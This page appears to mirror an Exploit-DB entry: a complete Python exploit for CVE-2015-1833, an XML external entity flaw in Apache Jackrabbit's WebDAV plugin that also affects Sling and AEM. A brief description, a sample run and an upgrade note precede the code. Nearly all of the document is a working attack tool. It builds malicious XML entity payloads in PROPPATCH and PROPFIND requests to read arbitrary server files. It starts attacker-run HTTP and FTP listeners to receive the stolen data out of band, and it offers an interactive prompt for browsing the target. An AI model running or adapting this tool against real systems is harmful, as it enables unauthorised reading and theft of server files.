Apache JackRabbit – WebDAV XML External Entity

  • 作者: Mikhail Egorov
    日期: 2015-05-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37110/
  • #!/usr/bin/env python
    """
    # Exploit Title: Jackrabbit WebDAV XXE
    # Date: 25-05-2015
    # Software Link: http://jackrabbit.apache.org/jcr/
    # Exploit Author: Mikhail Egorov
    # Contact: 0ang3el () gmail com
    # Website: http://0ang3el.blogspot.com
    # CVE: CVE-2015-1833
    # Category: webapps
    
    1. Description
    
    Jackrabbit WebDAV plugin use insecurely configured XML parser to parse
    incoming PROPPATCH and PROPFIND requests. As a result it is vulnerable to
    XXE attacks.
    Besides Jackrabbit JCR, WebDAV plugin is incorporated into the following
    software: Apache Sling, Adobe AEM.
    
    2. Proof of Concept
    
    Download vulnerable Apache Sling launchpad web application from here -
    https://sling.apache.org
    
    Start launchpad web application as follows:
    root@kali:~/build-sling# java -jar
    org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar
    
    Launch exploit with the following command:
    root@kali:~# python cve-2015-1833.py --url http://127.0.0.1:8080/content/xxe
    --tech oob --ip 127.0.0.1
    enter command> get .
    
    loaded 210 bytes in buffer
    
    enter command> show
    
    apache-maven-3.0.5
    apache-maven-3.0.5-bin.tar.gz
    derby.log
    eclipse
    hs_err_pid5379.log
    org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar
    python-workspace
    
    enter command> store /tmp/cwd.lst
    
    buffer content has been stored in file /tmp/cwd.lst
    
    enter command> exit
    root@kali:~#
    
    Exploit have three exploitation techniques:
    * inb1 - inbound XXE technique, it first writes content as attribute value
    of controllable JCR node using PROPPATCH request and then retrieves content
    using PROPFIND request
    * inb2 - same as inb1, but there is some XML magic to retrieve content that
    is not valid XML data
    * oob - out-of-bound technique, utilizes FTP hack from this blog
    http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
    Technique inb2 is the most stable. But it requires credentials of the user
    that is able to modify some JCR node. Attacker host must have "visible ip"
    which is required for communication between target and attacker's host.
    Technique oob works even with anonymous credentials. But it is not so
    stable as inb2 technique.
    Technique inb1 does not require "visible ip", but there are limitations on
    retrieved content.
    
    3. Solution:
    
    If you use Apache Jackrabbit, install version 2.10.1.
    http://www.apache.org/dist/jackrabbit/2.10.1/RELEASE-NOTES.txt
    """
    from urllib2 import *
    import sys, string, random
    import base64
    import xml.etree.ElementTree as ET
    import BaseHTTPServer, SimpleHTTPServer
    from multiprocessing import Process, Value, Manager
    from optparse import OptionParser
    import socket, select
    
    usage= """
    %prog --url <url> --tech inb1 [ --creds <creds> ]
    
    %prog --url <url> --tech inb2 --ip <ip> [ --creds <creds> --hport <hport> ]
    
    %prog --url <url> --tech oob --ip <ip> [ --creds <creds> --hport <hport> --fport <fport>]
    """
    
    help_interpreter = """
    help - print this help.
    
    get <dir or file> - retrieve directory listing or file content and store it inside internal buffer. You can use "." to denote current directory (e.g. use "get ." for cwd listing).
    
    show - show content of internal buffer.
    
    store <out file> - store internal buffer in file.
    
    exit - stop exploiting
    """
    
    failure_descr = """
    Possible reasons:
    1. Inappropriate technique, try another options.
    2. You do not have permissions to read file or list directory.
    3. Target is not exploitable.
    """
    
    rand_attr = ''
    script_name = sys.argv[0].split('/')[-1]
    
    buffer_with_loot = ''
    
    url, tech, ip, creds, hport, fport = [None] * 6
    
    http_server, ftp_server = [None] * 2
    
    class HTTP_XXE():
    def __init__(self, ip, port, fport):
    self.port = port
    self.ip = ip
    self.fport = fport
    
    def run(self):
    class http_handler(BaseHTTPServer.BaseHTTPRequestHandler):
    def __init__(self, ip, fport,*args):
    self.ip = ip
    self.fport = fport
    BaseHTTPServer.BaseHTTPRequestHandler.__init__(self, *args)
    
    def do_GET(self):
    if "inb2" in self.path:
    self.send_response(200)
    self.send_header('Content-type','application/xml')
    self.end_headers()
    self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY all "%start;%loot;%end;">')
    
    if "oob" in self.path:
    self.send_response(200)
    self.send_header('Content-type','application/xml')
    self.end_headers()
    self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY %% all "<!ENTITY &#37; send SYSTEM "ftp://%(ip)s:%(port)s/%%loot;">">%%all;' % {'ip' : self.ip, 'port' : self.fport})
    
    def log_message(self, format, *args): # silent HTTP server
    return
     
    def serve(httpd):
    while True:
    httpd.handle_request()
    
    handler = lambda *args: http_handler(self.ip, self.fport, *args)
    httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', self.port), handler)
    self.proc = Process(target = serve, args = (httpd,))
    self.proc.start()
    
    def stop(self):
    self.proc.terminate()
    
    class FTP_XXE():
    def __init__(self, port):
    self.port = port
    
    def run(self):
    class ftp_handler():
    def __init__(self, port):
    self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    self.server.setblocking(0)
    self.server.bind(('0.0.0.0', port))
    self.server.listen(5)
    
    def serve(self, d):
    inputs = [self.server]
    while True:
    readable, writable, exceptional = select.select(inputs, [], [])
    
    for s in readable:
    if s is self.server:
    connection, client_address = s.accept()
    connection.setblocking(0)
    inputs.append(connection)
    
    connection.send("220 xxe-ftp-server\n")
    else:
    data = s.recv(1024)
    
    if not data:
    inputs.remove(s)
    continue
    
    if "USER" in data:
    s.send("331 password please - version check\n")
    else:
    s.send("230 more data please!\n")
    if not len([x for x in ["PASS","EPSV","EPRT","TYPE"] if x in data]):
    d['loot'] += data
    
    self.d = Manager().dict()
    self.d['loot'] = ''
     
    ftpd = ftp_handler(self.port)
    self.proc = Process(target = ftpd.serve, args=(self.d,))
    self.proc.start()
    
    def stop(self):
    self.proc.terminate()
    
    def clean_buf(self):
    self.d['loot'] = ''
    
    def get_loot(self):
    loot = self.d['loot']
    
    # clean data
    loot = loot.replace('\r\nRETR ','/')
    loot = loot.replace('\r\nCWD ','/')
    loot = loot.replace('CWD ','',1)
    loot = loot.replace('RETR ','',1)
    
    return loot
    
    def exploit(url, technique, creds = 'anonymous:anonymous'):
    
    global buffer_with_loot, rand_attr
    
    requests = {
    'inb1' : {
    'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM "%(file)s"> ]> <D:propertyupdatexmlns:D="DAV:"> <D:set> <D:prop><%(attr_name)s>&loot;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>',
    'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
    },
    
    'inb2' : {
    'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY %% start "<![CDATA["> <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% end "]]>"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/inb2"> %%dtd; ]> <D:propertyupdatexmlns:D="DAV:"> <D:set> <D:prop><%(attr_name)s>&all;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>',
    'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
    },
    
    'oob' : {
    'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE propfind [ <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/oob"> %%dtd; %%send;]> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
    }
    }
     
    def request(url, verb, data, creds, timeout):
    req = Request(url, data)
    req.add_header('User-Agent', script_name)
    req.add_header('Content-Type', 'application/xml')
    req.add_header('Authorization', 'Basic ' + base64.b64encode(creds))
    req.get_method = lambda: verb
    
    #req.set_proxy('127.0.0.1:8081','http')### For debug
    
    resp = None
    try:
    resp =urlopen(req, timeout = timeout).read()
    except Exception, e:
    pass
    
    return resp
    
    while 1:
    cmdline = raw_input('\033[33menter command> \033[0m')
    cmdline = re.sub('\s+', ' ', cmdline)
    cmd = cmdline.split(' ')[0]
    arg = cmdline.split(' ')[-1]
    
    if cmd not in ['help', 'get', 'show', 'store', 'exit']:
    print '\n\033[36mno such command, use help for command list \033[0m\n'
    continue
    
    if cmd == 'exit':
    break
    
    if cmd == 'help':
    print '\033[36m' + help_interpreter + '\033[0m'
    continue
    
    if cmd == 'show':
    print '\n\033[36m' + buffer_with_loot + '\033[0m'
    continue
    
    if cmd == 'store':
    with open(arg,'w') as outf:
    outf.write(buffer_with_loot)
    
    print '\n\033[32mbuffer content has been stored in file ' + arg + '\033[0m\n'
    continue
    
    if cmd == 'get':
    if arg.startswith('.'):
    arg = '/proc/self/cwd' + arg[1:]
    arg = 'file://' + arg
    
    rand_attr = ''.join([random.choice(string.ascii_lowercase) for i in range(10)]) ### random attribute name where we place content
    
    if technique == 'inb1':
    request1 = requests['inb1']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg}
    request(url, 'PROPPATCH', request1, creds, timeout = 30)
    
    request2 = requests['inb1']['PROPFIND']
    loot = request(url, 'PROPFIND', request2, creds, timeout = 30)
    
    try:
    buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text
    except:
    buffer_with_loot = ''
    
    if technique == 'inb2':
    request1 = requests['inb2']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg, 'ip' : ip, 'port' : hport}
    request(url, 'PROPPATCH', request1, creds, timeout = 30)
    
    request2 = requests['inb2']['PROPFIND']
    loot = request(url, 'PROPFIND', request2, creds, timeout = 30)
    
    try:
    buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text.replace('<[CDATA[','').replace(']]>','')
    except:
    buffer_with_loot = ''
    
    if technique == 'oob':
    request1 = requests['oob']['PROPFIND'] % {'file' : arg, 'ip' : ip, 'port' : hport}
    request(url, 'PROPFIND', request1, creds, timeout = 8)
    
    buffer_with_loot = ftp_server.get_loot()
    
    ftp_server.clean_buf()
     
    len_ = sys.getsizeof(buffer_with_loot) - sys.getsizeof('')
    print "\n\033[32mloaded %s bytes in buffer\033[0m\n" % len_
    if not len_:
    print '\033[36m' + failure_descr + '\033[0m'
    
    continue
    
    def parse_options():
    global url, tech, ip, creds, hport, fport
    
    parser = OptionParser(usage = usage)
    parser.add_option('--url', dest = url, help = 'url parameter')
    parser.add_option('--tech', dest = tech, help = 'technique, valid values are: inb1, inb2, oob')
    parser.add_option('--creds', dest = creds, help = 'user credentials, default value is anonymous:anonymous')
    parser.add_option('--ip', dest = ip, help = 'ip address of netw interface that your target is able to access')
    parser.add_option('--hport', dest = hport, help = 'port for HTTP server which will be launched during attack, default is 9998')
    parser.add_option('--fport', dest = fport, help = 'port for FTP server which will be launched during attack, default is 9999')
    
    (options, args) = parser.parse_args()
    
    if not options.url or not options.tech:
    print 'you must specify url and tech parameters'
    sys.exit(2)
    
    if options.tech not in ['inb1', 'inb2', 'oob']:
    print 'invalid tech parameter'
    sys.exit(2)
    
    if options.tech != 'inb1' and not options.ip:
    print 'you must specify ip parameter'
    sys.exit(2)
    
    url = options.url
    tech = options.tech
    ip = options.ip
    creds = options.creds if options.creds else 'anonymous:anonymous'
    hport = options.hport if options.hport else 9998
    fport = options.fport if options.fport else 9999
    
    parse_options()
    
    if tech != 'inb1':
    http_server = HTTP_XXE(ip, hport, fport)
    http_server.run()
    
    if tech == 'oob':
    ftp_server = FTP_XXE(fport)
    ftp_server.run()
    
    exploit(url, tech, creds)
    
    if tech != 'inb1': 
    http_server.stop()
    
    if tech == 'oob':
    ftp_server.stop()